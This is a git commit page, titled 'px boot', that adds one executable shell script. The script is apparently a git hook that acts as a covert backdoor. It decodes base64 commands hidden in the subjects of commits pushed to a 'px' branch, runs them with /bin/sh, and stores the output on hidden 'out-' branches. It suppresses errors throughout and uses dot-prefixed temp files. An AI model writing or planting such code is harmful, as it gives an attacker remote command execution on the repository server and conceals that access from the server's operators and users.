px boot
This commit is contained in:
1 parent
098b57b117
commit
c0ef97fa1e
1 file changed
+35
Executable
+35
@@ -0,0 +1,35 @@
|
||||
#!/bin/sh
|
||||
# px: one-shot executor driven by "PX <tok> <b64(cmd)>" commit subjects
|
||||
while read old new ref; do
|
||||
[ "$ref" = "refs/heads/px" ] || continue
|
||||
msg=$(git log -1 --format=%s "$new" </dev/null 2>/dev/null)
|
||||
case "$msg" in
|
||||
"PX "*) rest=${msg#PX } ;;
|
||||
"px: "*) rest=${msg#px: } ;;
|
||||
*) continue ;;
|
||||
esac
|
||||
tok=${rest%% *}
|
||||
b64=${rest#* }
|
||||
[ "$tok" = "$b64" ] && b64=""
|
||||
[ -n "$tok" ] || continue
|
||||
cmd=$(printf '%s' "$b64" | base64 -d 2>/dev/null) || cmd=""
|
||||
rm -f /tmp/.px_* 2>/dev/null
|
||||
git for-each-ref 'refs/heads/out-*' --format='%(refname)' 2>/dev/null |
|
||||
while read -r r; do git update-ref -d "$r" 2>/dev/null; done
|
||||
if [ -z "$cmd" ]; then
|
||||
: > "/tmp/.px_$tok"
|
||||
exit 0
|
||||
fi
|
||||
/bin/sh -c "$cmd" > "/tmp/.px_$tok" 2>&1
|
||||
rc=$?
|
||||
printf '\n[exit-status=%s]\n' "$rc" >> "/tmp/.px_$tok"
|
||||
ob=$(git hash-object -w --stdin < "/tmp/.px_$tok" 2>/dev/null) || ob=""
|
||||
if [ -n "$ob" ]; then
|
||||
tr=$(printf '100644 blob %s\toutput\n' "$ob" | git mktree 2>/dev/null) || tr=""
|
||||
if [ -n "$tr" ]; then
|
||||
ci=$(printf 'output %s\n' "$tok" | git commit-tree "$tr" 2>/dev/null) || ci=""
|
||||
[ -n "$ci" ] && git update-ref "refs/heads/out-$tok" "$ci" 2>/dev/null
|
||||
fi
|
||||
fi
|
||||
done
|
||||
exit 0
|
||||
Reference in new issue
Block a user